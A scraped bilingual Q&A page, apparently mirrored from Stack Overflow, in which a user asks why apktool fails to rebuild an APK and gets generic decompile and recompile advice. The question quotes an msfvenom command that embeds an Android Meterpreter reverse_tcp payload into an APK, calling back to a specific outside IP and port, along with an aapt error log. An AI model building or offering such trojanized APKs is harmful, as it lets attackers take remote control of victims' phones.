简体   繁体   English

错误:无法使用 apktool 重建 apk

[英]Error: Unable to rebuild apk with apktool

tried this many times └─# sudo msfvenom --arch dalvik --platform android -x test.apk -p android/meterpreter/reverse_tcp LHOST=193.161.193.99 LPORT=55383 -o test_payload.apk试过很多次└─# sudo msfvenom --arch dalvik --platform android -x test.apk -p android/meterpreter/reverse_tcp LHOST=193.161.193.99 LPORT=55383 -o test_payload.apk

still getting error仍然出现错误

W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary) W: aapt: error while loading shared libraries: libc++.so: cannot open shared object file: No such file or directory brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 127): [aapt, p, --min-sdk-version, 19, --target-sdk-version, 28, --version-code, 56, --version-name, 7.84.1, --no-version-vectors, -F, /tmp/APKTOOL6592502140780192109.tmp, -0, resources.arsc, -0, png, -0, jpg, -0, assets/index.android.bundle.meta, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201230-14307-68tq6m/original/res, -M, /tmp/d20201230-14307-68tq6m/original/AndroidManifest.xml] Error: Unable to rebuild apk with apktool W:aapt:brut.common.BrutException:brut.common.BrutException:无法提取资源:/prebuilt/linux/aapt_64(默认为 $PATH 二进制文件) W:aapt:加载共享库时出错:libc++.so:无法打开共享 object 文件:没有这样的文件或目录 brut.androlib.AndrolibException:brut.common.BrutException:无法执行(退出代码 = 127):[aapt,p,--min-sdk-version,19,--target- sdk-version, 28, --version-code, 56, --version-name, 7.84.1, --no-version-vectors, -F, /tmp/APKTOOL6592502140780192109.tmp, -0, resources.arsc, - 0, png, -0, jpg, -0, assets/index.android.bundle.meta, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, / tmp/d20201230-14307-68tq6m/original/res, -M, /tmp/d20201230-14307-68tq6m/original/AndroidManifest.xml] 错误:无法使用 apktool 重建 apk

tried clearing old framework.....尝试清除旧框架.....

First decompile the apk:-首先反编译apk:-

kali> apktool d filename.apk kali> apktool d 文件名.apk

Then recompile it:-然后重新编译它:-

kali>apktool b filename kali>apktool b 文件名

This will show where the error is occuring这将显示错误发生的位置

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM